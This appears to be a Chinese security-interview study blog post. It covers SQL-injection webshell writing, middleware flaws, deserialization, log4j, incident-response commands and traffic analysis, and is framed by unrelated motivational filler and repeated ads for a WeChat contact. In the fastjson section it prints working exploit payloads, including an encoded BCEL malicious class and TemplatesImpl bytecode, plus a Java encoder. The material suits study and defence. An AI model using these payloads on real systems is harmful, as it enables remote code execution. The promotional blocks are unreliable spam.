在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
条件:
1、sql写shell可以用到两个函数outfile和dumpfile可用(select into outfile不可写入二进制可执行文件,select into dumpfile 可写入二进制可执行文件)
2、关闭安全模式(需要数据库允许导出文件也就是secure_file_priv参数配置为空或者是目录地址,设置为NULL的时3、候不允许导出文件)
4、需要足够的权限
5、需要知道网站的绝对路径
6、GPC关闭可使用单引号
sqlmap --os-shell:
对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个返回课以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。
5、渗透思路
信息收集:
1、获取域名whois信息
2、服务器子域名、旁站、c段查询
3、服务器操作系统版本补丁状况、web中间件类型、版本、数据库类型等
4、服务器开放端口:22 ssh 80 web 445 3389.。。
漏洞扫描:
nessus,awvs ,appscan
漏洞验证:
是否存在漏洞,是否可以拿到webshell或者其他权限
权限提升:
windows内核溢出提权,数据库提权、组策略首选项提取、web中间件提权、dll劫持提权、第三方软件/服务提权
linux内核漏洞提权、劫持高权限程序提权、sudoer配置文件错误提权
漏洞利用:
日志清理:
6、中间件漏洞
iis:
远程代码执行
解析漏洞 目录以.asp结尾 xxx.asp;1.jpg
tomcat:
war包后门部署
远程代码执行
apache:
解析漏洞 1.php%0a换行解析 1.php.xxx 未知后缀解析
SSI远程命令执行
路径穿越
nginx:
解析漏洞 1.jpg/.php
目录穿越 (nginx配置别名的时候alias的时候,忘记加/ 将造成目录穿越漏洞)
CRLF注入 (Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞)
jboss:
反序列化
war后门部署
weblogic:
反序列化
ssrf任意文件上传
文件读取
7、序列化反序列化及其流量特征
序列化:对象转换为字符串
反序列化:字符串转换为对象
流量特征:
shiro反序列化:查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。
fastjson反序列化:请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为
st2-045:请求头中的Content-Type字段
8、应急响应流程及windows/linux用到的命令
应急响应流程:
1、收集信息:搜集客户信息和中毒信息,备份
2、判断类型:判断是否是安全事件、是何种安全事件(勒索病毒、挖矿、断网、ddos等)
3、深入分析:日志分析、进程分析、启动项分析、样本分析
4、清理处置:杀掉恶意进程、删除恶意文件、打补丁、修复文件
5、产出报告:整理并输出完整的安全事件报告
windows应急
一、查看系统账号安全
1、查看服务器是否有弱口令、可疑账号、隐藏账号、克隆账号、远程管理端口是否对公网开放
2、win+r(eventwmr.msc)查看系统日志,查看管理员登录时间、用户名是否存在异常
二、检查异常端口、进程
1、netstat -ano 检查端口连接情况,是否有远程连接、可疑连接
2、tasklist | findstr "PID"根据pid定位进程
3、使用功能查杀工具
三、启动项检查、计划任务、服务
1、检查服务器是否有异常的启动项,msconfig看一下启动项是否有可以的启动
2、检查计划任务,查看计划任务属性,可以发现木马文件的路径
3、见擦汗服务自启动,services.msc注意服务状态和启动类型,检查是否有异常服务
四、检查系统相关信息
1、查看系统版本以及补丁信息 systeminfo
2、查找可以目录及文件 是否有新建用户目录 分析最近打开分析可疑文件(%UserProfile%\Recent)
五、自动化查杀
使用360 火绒剑 webshell后门可以使用d盾 河马等
六、日志分析
360星图日志分析工具 ELK分析平台
linux应急
1、检查用户及密码文件/etc/passwd、/etc/shadow 是否存在多余帐号,主要看一下帐号后面是否是 nologin,如果没有 nologin 就要注意;
2、通过 who 命令查看当前登录用户(tty 本地登陆 pts 远程登录)、w 命令查看系统信息,想知道某一时刻用户的行为、uptime查看登陆多久、多少用户,负载;
3、修改/etc/profile的文件,在尾部添加相应显示间、日期、ip、命令脚本代码,这样输入history命令就会详细显示攻击者 ip、时间历史命令等;
4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所对应的进程文件路径,运行ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的pid 号);
5、使用ps命令,分析进程 ps aux | grep pid
6、使用 vi /etc/inittab 查看系统当前运行级别,通过运行级别找到/etc/rc.d/rc[0~6].d对应目录是否存在可疑文件;
7、看一下crontab定时任务是否存在可疑启用脚本;
8、使用chkconfig --list 查看是否存在可疑服务;
9、通过grep awk命令分析/var/log/secure安全日志里面是否存在攻击痕迹;
10、chkrootkit、rkhunter、Clamav 病毒后门查杀工具对 Linux 系统文件查杀;
11、如果有 Web 站点,可通过 D 盾、河马查杀工具进行查杀或者手工对代码按脚本木马关键字、关键涵数(evel、system、shell_exec、exec、passthru system、popen)进行查杀Webshell 后门。
9、流量分析
拿到流量包后将其导入wireshark中,使用过滤规则对流量包进行分析,常用的过滤规则有:
http contains "关键字"
http.response.code == 200
http.request.method == POST
tcp.prot == 80
ip.addr == "10.1.1.1"
ip.src
ip.dst
10、Behinder流量特征
冰蝎是一款基于java开发的动态加密通信流量的新型webshell客户端,冰蝎的通信过程可以分为两个阶段:秘钥协商 加密传输
冰蝎2:ua头比较老,虽然内置了10余种,每次连接shell都会随机选择一个进行使用,由于比较老,容易被检测出来
content-length:16 #16是冰蝎2连接的特征
冰蝎3:冰蝎3取消了动态秘钥获取 accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征
ua头版本老:冰蝎3内置16个ua头都比较老,现实生活中使用较少。
11、天眼基本搜索语法
sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200)
#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志
dport:"443" OR dport:"8080
#访问端口是443或者8080的流量日志
dport:"80" NOT host:"www.example.com"
#访问端口为80,排除访问www.example.com域名的流量日志
dip:"10.1.1.2" AND client_os:"windows7"
#服务器ip为10.1.1.2,操作系统为windows7的流量日志
处置方案:
传感器上出现sql注入告警后
1、验证此条sql注入告警是否真的存在sql注入漏洞
2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为
3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户
4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何
5、将发现时间及攻击行为反馈给护网客户
传感器上出现RCE告警
1、验证此条警告师傅真的成功(若成功直接出报告)
2、若失败,判断攻击者是手工还是工具批量扫描行为
3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何
4、将发现时间及攻击行为反馈给护网
12、fastjson反序列化
fastjson1.2.24反序列化漏洞原理
1、fastjson提供的反序列化功能允许用户传入json格式数据局的时候通过@type的value值指定任意反序列化类名
2、fastjson的反序列化机制会将反序列的类进行实例化对象,并调用该对象的setter和部分getter方法
3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法,如果这些方法中存在Gadget,就会造成一些安全问题。
4、官方采取黑名单过滤的方法,对反序列化的类名进行校验,checkAutoType不断被绕过
fastjson利用流程:
使用@type的value字段执行反序列化的类,例如JdbcRowSetImpl这个类,接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类,这样fastjson在将传入的类反序列化、实例对象后,会通过成员变量传入的value值,请求rmi服务器,最后rmi返回远程类,fastjson执行这个远程恶意类。导致rce漏洞。
fastjson反序列化的特征:
在请求包中查找json格式的字符串,重点在于rmi和一些出网操作
13、fastjson不出网利用
1、基于BasicDataSource类
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
条件:BasicDataSource需要有dbcp或者tomcat-dbcp的依赖
利用过程:使用BasicDataSource链,构造恶意类后将其的字节码转化为BCEL格式,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL..这种格式,字啊newInstance方法执行后被实例化,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。
{
"@type":"java.lang.Class",
"val":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
2.基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类
条件:Feaure.SupportNonPublicField开启,默认是关闭状态
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}
14、shiro550反序列化
原理:
导致shiro反序列化的主要原因就是shiro提供的记住密码功能,当用户打开这个功能时会在请求阿包中生成一个cookie,cookie的value值是经过反序列->aes加密->base64加密后的字符串,关键在于aes加密的秘钥是默认的,如果没有修改这个秘钥,就会导致反序列化漏洞,攻击者可以构造恶意代码,将恶意代码序列化-aes加密-base64加密后传入cookie,这样就导致RCE漏洞。
特征:shiro是一个身份验证组件,一般用在登录模块,登录失败会有一个失败标识rememberme=deleteme,如果返回包中存在该字段则说明可能存在反序列化漏洞。
15、log4j漏洞
原理:log4j2框架下的lookup服务提供了{}字段解析功能,传进去的值会被直接解析,JNDI服务会请求远程服务来链接本地对象,这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器
特征:数据包里有{jndi:ladp//}字段
16、中挖矿病毒怎么解决
首先ps -aux查看进程分析
然后top 分析算力,挖矿用到的算力比较多,对流量进行过滤,含有矿池服务器的流量就是挖矿病毒
最后kill进程,rm掉程序
删不掉这么办
先下线,然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般可以从cpu占用情况,可以进程、开放端口、计划任务、服务项几个方面排查
将样本上传到在线分析平台,清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启动、删服务,结束恶意进程、删病毒
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
**需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)**
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
#### 2️⃣视频配套工具&国内外网安书籍、文档
##### ① 工具
![](https://img-blog.csdnimg.cn/img_convert/d3f08d9a26927e48b1332a38401b3369.png#pic_center)
##### ② 视频
![image1](https://img-blog.csdnimg.cn/img_convert/f18acc028dc224b7ace77f2e260ba222.png#pic_center)
##### ③ 书籍
![image2](https://img-blog.csdnimg.cn/img_convert/769b7e13b39771b3a6e4397753dab12e.png#pic_center)
资源较为敏感,未展示全面,需要的最下面获取
![在这里插入图片描述](https://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)
##### ② 简历模板
![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)
**因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**